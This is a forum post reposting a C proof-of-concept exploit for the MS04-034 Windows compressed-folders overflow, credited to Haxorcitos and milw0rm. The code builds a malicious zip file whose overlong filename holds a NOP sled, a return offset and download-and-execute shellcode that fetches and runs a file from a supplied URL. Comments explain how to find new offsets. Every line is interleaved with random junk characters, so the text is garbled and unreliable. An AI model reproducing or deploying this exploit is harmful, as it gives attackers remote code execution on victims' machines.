- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
0 d7 j5 _/ @3 x% H& E*9 o$ p* M' ~* L( `
* Tested under Windows XP SP0 Spanish/English# U+ J! I* b( f& C/ f2 G
** l/ M( R! P+ f* | l) h+ l6 Q
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html$ e- T. R1 @: M1 e6 Y# }
* Exploit Date: 21/10/2004
U/ M- d4 k6 R, M/ N4 v*
8 z B, G4 f% T# n$ x* Tarako - Haxorcitos.com 2004
" ^7 z6 f7 H0 L*( V* m/ n$ a/ o& b
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
y! z) w. w# B* u- F( N: s ]3 V* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION. o- M; U) N7 ~2 ~$ {
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED., c7 e: D) R" x* M2 Z t# u
*
6 s: j" ~! l1 A* Greetings t #haxorcitos, #dsr and #localhost @efnet
1 O( P9 S3 D3 g% i5 B& M9 w*1 F9 t) @' n P1 `: g+ O
*
. q1 m* w! {* T/ [7 G! [* How to get new offsets:
% |4 W; u) u/ t" f* 1) attach debugger (i.e ollydbg) to explorer.exe6 t b1 L. n+ n# w: \1 E. i* @
* 2) open the zip file as a folder and add or move some files to it! f6 p7 R8 \0 \! Y% t
* 3) search in the explorer.exe memory the shellcode and get the addresses" g, c* o' w z. k$ x \
*
* G# i/ K9 V% Q% R*/
7 Y$ f. @! T* z
# A5 @1 {( W4 G3 j$ L4 w#include <stdio.h>7 B2 u1 ?3 H+ \. E
#include <windows.h>
( `$ g0 v( }1 F6 v3 L9 I4 `7 k4 W, p3 g+ E7 c9 x9 e: J
#pragma pack(1)
5 D# F5 }' }6 ^" D3 w8 ~8 h& r/ E( K5 {- C: u) O
#define DATOS "Tarako-Haxorcitos.com"6 B2 K) Y9 T7 q" ]. _ L7 G9 m- ? _
1 l1 V) |* w/ D
typedef struct {0 d7 Z' z# K8 v7 `) @
DWORD Signature; // PK.. 4 bytes (0x04034B50)+ J9 A- E, n% I' E
WORD VersionNeeded;& j. |( O$ m! I+ _- I# [" b1 V
WORD GeneralPurposeFlag; // para el data descriptor y demas
) |+ q7 c$ ]6 W. C' SWORD CompressionMethod;
6 H2 O& \, h% W \WORD ModFileTime;
) C. Z3 `. m3 VWORD ModFileDate;
3 m- h3 F- V w4 y sDWORD Crc32;. g4 A6 k5 G0 G' x/ z y, m
DWORD CompressedSize;2 L' t) ?5 ]: K
DWORD UncompressedSize;" u6 Q" S4 C) \+ F2 r
WORD FilenameLength;5 ~# i4 S8 ?$ Z3 g c
WORD ExtraFieldLength;
# g- s& G% d$ o/ r% v// filename (variable size)
* k' ?7 _7 R) L// extra field (variable size)
9 c8 _* T6 x* a' u% H# q2 c) i}TOPHEADER;' a) R8 x' A; s2 R4 Z( ^
( H9 e9 S6 K: T2 W- _, g
% y2 _/ z. p, h; ~
typedef struct {
, |1 U" n& D9 k: r! lDWORD Signature; // PK.. 4 bytes (0x02014B50)& y4 u5 I( K* u2 m; J' R$ \
WORD MadeVersion;, T# r1 n% S) L* e d# Q
WORD VersionNeeded;
+ e" t1 t @' }7 N$ C; uWORD GeneralPurposeFlag; // para el data descriptor y demas
l% @4 L3 ]( l8 b$ K( ]WORD CompressionMethod;
; T2 Y7 b, C3 V0 O9 R6 |5 pWORD ModFileTime;
4 W! r! Q- Z ~$ `WORD ModFileDate;0 ?, [5 L4 S4 X8 C
DWORD Crc32;. F, ~1 m0 y' g+ M
DWORD CompressedSize;
: p& E0 d2 y7 e8 P; Z# E* e5 ~DWORD UncompressedSize;
* o; N% k4 ~( j3 Q% SWORD FilenameLength;! a% I+ j( S% o. m" H+ _
WORD ExtraFieldLength;7 W0 A$ T9 e6 R, |2 W& C4 o8 d
WORD FileCommentLength;
0 ^8 u+ {. r+ E8 D, MWORD DiskNumberStart;0 ^0 T* R' F0 }
WORD InternalFileAttributes;- ]; S M% r( z) X; y/ J- E0 q
DWORD ExternalFileAttributes;2 p+ ~* x/ j1 g+ C' E
DWORD RelativeOffsetOfLocalHeader;3 h j5 ~$ E$ q/ [- F2 b% K6 a, Z
// filename (variable size)& P+ Q& y7 w6 b. z3 O. a
// extra field (variable size)3 w- w! G$ a, ?2 o6 K
// file comment (variable size)
: z: G- Q8 V! z( ?/ S}MIDDLEHEADER;
|: h. |2 X& R+ H5 W- ?4 E* y( P7 g/ ]
, N" _: m! G- O% ptypedef struct {: [8 t9 k' G( k) j$ j
DWORD Signature; // PK.. 4 bytes (0x06054B50)
! P( u( s X) r* F: X0 }WORD NumOfThisDisk;+ g) _6 k# |* m# {) Q; \! A
WORD NumDisckStartCentralDirectory;" K) [. T( c7 { s" r4 H
WORD NumEntriesCentralDirOnThisDisk;0 x `, d- J5 C) O- Z x% J- B3 T/ l
WORD TotalNumEntriesCentralDir;
W9 e; M" L* D) G% [" ~* H( u! PDWORD SizeCentralDirectory;
$ o5 y" D3 _- X' dDWORD OffsetCentraDirRespectStartDiskNum;& g6 @0 S# s4 R& r. w
WORD ZipCommentLength; O) i8 t: B5 Z1 h6 l
// zipfile comment (variable size)' O2 i' S q* b+ V0 n$ x/ W( o4 {! {. P
}BOTTOMHEADER;% o/ D$ x9 W6 G; @! u% r8 T* P
5 {$ x: [7 |+ ^, s) {/*
5 N y, t) T) f/ ^8 h* download shellcode - RaiSe - raise@netsearch-ezine.com3 P8 d9 O3 d M$ j. d \/ W' q
*/1 h8 n2 u# x: J8 o! A% I! M$ n2 T
char shellcode1[] =
+ u9 P5 ~" u, n" u1 D2 C9 u"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
4 ?( B( S! B. V; {' P- ~"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
1 j. H5 v- n3 l' w"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
: G2 z5 ~( P$ v/ ]. B"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"0 n$ f" H. T, Q4 g1 z' A0 q
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"1 v3 K' I+ [. ], `0 u
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
# c! s, X _8 I- X* ?( Q# P"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"7 N! j/ m6 Q; D4 ?" R& _ _ @
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"8 ^! A1 I2 b' c0 F) _
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"7 _9 [, Q. X9 a, @8 ~/ M
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"5 e0 w2 I+ Y) p
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
4 |7 C3 }0 o4 A( z* ]6 D% ]! g$ s$ t"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"2 W3 _" h/ ~1 z& _$ B* ~( C
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
% t, F* Y, D/ [0 `' J+ [/ a+ i! h3 V"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D": i0 a) X/ T+ r
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"/ q( z0 x+ B) `) c9 C
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04", C* {1 ~# a$ P- L) d
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"7 m+ W7 I" Y9 I1 h: r+ n# C1 n$ N
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C". A) C) B; i; z& b
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"& z0 C! Y8 M: N7 k0 x
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
1 G" u$ i+ ?2 q' r! c' C"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
, s! K8 p, p2 G+ w ~"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"' R6 T& n. t& t4 p& H; W
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"0 e) F% b; x) E- |
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"; C8 U' T0 l- j: A
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
' n5 m9 Y5 Z: t. ]$ m. U"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"; M ~0 `* g: X( T+ C' C& h
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"2 [6 T6 g! B1 d; Q5 y
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
7 p. T, g* n3 ~1 z0 f"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"& B5 n& s4 l ?8 n2 A: V
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
2 J. Q; [3 v" c) }5 |2 ["\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
* F3 _" |5 K5 N3 {"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65") B8 G! m$ l$ o
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"# z' S6 ~! Q% _; ^
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"8 D+ V8 w+ I9 e; p: [+ Q2 e
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
* Z0 u$ D6 N3 s4 f! t/ f0 v4 ^char shellcode2[] ="\x08\x01";
' O7 \5 y, S% S+ h- w
+ N& x# \; b8 v. Kchar offset[]="\x41\x41\x41\x41";9 x& X: z. A# B! t
char jmpbelow[]= "\xeb\x06\x90\x90";
4 V; s8 E6 e' z3 f
4 d5 f! \' i& j- A. g: hint main(int argc,char *argv[]) {
3 h" ^0 X9 }! o; p D8 d0 D& w
3 \) s$ D- o/ [7 t5 n% vFILE *ZipFile;
* w* m# x* L- @0 q) z( F( }' vTOPHEADER *Cabecera1;# I; [3 v8 Z4 f. G. g+ i( g7 s
MIDDLEHEADER *Cabecera2;& i3 m- `/ Q1 [
BOTTOMHEADER *Cabecera3;
( g. A1 s/ G& s3 F" _: z8 g
$ z, Q& w" T. D1 J- kDWORD c;& V0 ]/ \9 {4 ]/ C9 O! q
UINT i;
& i6 g( ~9 A/ _char *filename;0 _6 [: b' A) p4 r
char *url;9 R# M ^4 O D$ E3 S2 d2 D0 V
I7 S. S& L$ J [
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
4 Z3 `0 I2 {5 Q4 cprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
. r% K4 N9 ~( J- w, r: |" n6 T% s/ O4 N- C1 U7 S4 y
if (argc!=2) {* H1 b( ]' ~; M: x& ~' H
printf("\n\n Usage: %s <URL> \n",argv[0]);
" O4 ~! E. ~% O/ k6 vexit(1);, v0 f2 Y, Q" K F# p8 U, \7 X: d
}
0 Z5 \; h5 c; S, Y
1 E" E# r8 l* C7 j. @" Qurl=argv[1];
6 n! x4 _& O( V$ r `* R' Oprintf("\n * URL: %s",url);9 ^$ s* a+ H7 E$ h
6 u: ^( G' B, k( I# k
; v: u; _, M) F9 V
if (!(ZipFile=fopen("prueba.zip","w+b"))) {* o: A% q) z v! A) J$ h; h
printf("\n [E] fopen()");# P* } w c7 D% F
exit(1);6 n, B+ d- G- j& g/ o$ o/ A4 Q
}. z5 H4 I) U0 `! G
; V' p* I/ L) O5 b6 H/ ~5 S% mc=0x8000; // filename length) m3 O% L+ Z g
filename=(char*)malloc(sizeof(char)*c);
. V* v7 P( v, y4 H2 zmemset(filename,0,sizeof(filename));1 ]9 M2 K! u, m* W6 }0 J& k' @ x
) S7 b. ?/ @( H% X5 m0 }
for( i=0x0;i<c;i++) filename=(BYTE)0x90;) p# y( r2 [# U' B& D! h
; j9 D7 N( M& B1 J. c
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
8 W& h& e j% a4 A. g3 jmemcpy(filename+0x1818,offset,strlen(offset));6 ?2 V; e2 Q8 Q2 x( j
) a( I; b# d `- j1 \ k, Qmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
0 v/ Y- o) S8 h; r9 ]memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
! X( E# ]4 z' {' _* k) Qmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);% G9 Q5 k2 j, ^4 L
3 U# P) j" K A: r5 z$ j
memcpy(filename+(c-4),".txt",4);1 B: p% U7 B/ b7 X; ~9 Q
# C- @; R# |# \& ]; ]Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));) } D! L( e7 t1 |8 l Z) W
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));1 T- J) z; I5 Y, i, v5 K8 p
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));- @3 w! T& k$ e
memset(Cabecera1,0,sizeof(TOPHEADER));/ m5 d! i* X3 E" v8 Z7 k5 @
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
8 p" H" L1 w0 t* Y; X/ j) fmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); 7 h3 ?; ?0 @6 a
4 B/ M9 K/ ?) }! t. X$ [///////////////////////////////////////////////////////////////////
, ?5 H/ q! [- P6 U4 E# j// TOPHEADER6 w) n! @9 W: ^7 i
///////////////////////////////////////////////////////////////////' L- H' Q7 P4 h4 F
Cabecera1->Signature=0x04034B50; // DWORD2 ^& R5 y0 i# L- _) C
Cabecera1->VersionNeeded=0x000A; // WORD
! d8 o$ F, l- r# m- nCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
4 ^5 V6 i! M5 f, s Y; B" g6 V$ KCabecera1->CompressionMethod=0x0000; // WORD
- t W* n. I6 c7 _Cabecera1->ModFileTime=0x1362; // WORD1 C( ]$ {9 w% e$ b' R# O
Cabecera1->ModFileDate=0x3154; // WORD
2 B0 j1 y; ?3 ]9 u6 U$ Z7 mCabecera1->Crc32=0x85B36639; // DWORD0 ~. E) k4 r: c* u2 \# ~3 Q: ^
Cabecera1->CompressedSize=0x00000015; // DWORD7 O0 e7 G5 X6 B
Cabecera1->UncompressedSize=0x00000015; // DWORD, p( n* j, p; L. b( o$ ?
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
' ?! y2 Q( E# J- s# A- n2 z+ `, KCabecera1->ExtraFieldLength=0x0000; // WORD4 s' v- }+ R% j3 Z, n- {
///////////////////////////////////////////////////////////////////
9 h0 ]" @; h; |4 ]
& j, f% d; J* Z. R///////////////////////////////////////////////////////////////////6 ~4 C) |+ ?. r$ l
// MIDDLEHEADER
# u5 Y6 D& s& E5 K% p) [ [5 k///////////////////////////////////////////////////////////////////
% U1 p/ s2 E) h, M: ICabecera2->Signature=0x02014B50; // DWORD) Y0 p* N3 ]6 ~( J1 y6 K) b; H
Cabecera2->MadeVersion=0x0014; // WORD
2 A2 B' k0 g* b2 A( X$ h# J& LCabecera2->VersionNeeded=0x000A; // WORD
q) N8 E6 S; c' v0 oCabecera2->GeneralPurposeFlag=0x0002; // WORD
1 x5 U$ i$ w" G5 v6 u% Q9 RCabecera2->CompressionMethod=0x0000; // WORD0 B6 l. J1 q- C' `9 n
Cabecera2->ModFileTime=0x1362; // WORD4 W/ J% n- E& d q0 K$ \
Cabecera2->ModFileDate=0x3154; // WORD
. Q" A5 v8 r; h" ]" Q* HCabecera2->Crc32=0x85B36639; // DWORD
. z# ^+ x3 M' d1 `% j- nCabecera2->CompressedSize=0x00000015; // DWORD
$ z3 ^# R- U& G' `# q) ?% QCabecera2->UncompressedSize=0x00000015; // DWORD
7 L$ d& B$ ?3 d4 `Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);- n7 g$ } ?& @. V: v
Cabecera2->ExtraFieldLength=0x0000; // WORD, F+ j. o$ \% ~# q8 Y) J! r
Cabecera2->FileCommentLength=0x0000; // WORD
6 y* H" }7 V* p) e4 t' H+ PCabecera2->DiskNumberStart=0x0000; // WORD
7 u; X1 W' \* c+ RCabecera2->InternalFileAttributes=0x0001; // WORD) S6 @' |9 C; q# m5 Z' }7 `( K
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
8 ]9 s& O, m9 nCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD5 O; C7 {* x7 c P2 \2 _
///////////////////////////////////////////////////////////////////# i, C: n/ s; { Q- C) w! g* c! {
O) K5 F9 ?5 `9 @6 e///////////////////////////////////////////////////////////////////
8 w# Y5 i1 c: m* K4 u// BOTTOMHEADER
0 T0 N6 ~" z6 M7 i; N' Y///////////////////////////////////////////////////////////////////
5 S g- a+ s( i1 n. fCabecera3->Signature=0x06054B50; // DWORD1 C8 j% Q7 r- M$ i% C* w7 O5 h
Cabecera3->NumOfThisDisk=0x0000; // WORD7 Y& n0 O) d+ S; J. D: @1 b4 w
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
) Z$ ~: Y% r& q4 s/ X2 vCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
9 j; m) t6 y, dCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD3 H& p L) c' e4 ~* n( u9 e
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
- `: K$ y$ u1 g! S) MCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
* S% R5 i! S+ VCabecera3->ZipCommentLength=0x0000; // WORD1 V. r% X1 E2 W
///////////////////////////////////////////////////////////////////
8 p2 {: ~5 o; s+ C3 p" S2 K; }, C, T. _& F1 U5 ~: ^& k3 G# }
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
8 H" R) X, Z" g2 X& p3 d# E6 B
1 x" r8 \% o8 Y3 u; f1 N5 S+ V9 ifwrite(filename, c, 1,ZipFile);
$ `. z# ]1 [! N4 F6 A) Pfwrite(DATOS,strlen(DATOS),1,ZipFile);" z% E# F# ]! N) J
F$ o2 F# E8 [2 q5 {fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);4 b$ ?0 f- i6 }1 [
fwrite(filename, c, 1,ZipFile); 5 y3 ]7 f/ R( s/ h
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);) G- V1 D7 W" X! [3 I9 Z y; O
* G1 e+ X% l- b* {/ J" w
fclose(ZipFile);
# M m4 S ?9 S3 s F$ k& Q/ W& ?printf("\n * prueba.zip created\n");2 R4 d" y1 F. ~( I3 X* k% v' Z
return 1;
6 {+ q$ N! I' P( M- m}//downloaded from milw0rm.com
3 G0 L8 h$ C+ M$ G/ z Z* P |
zan
|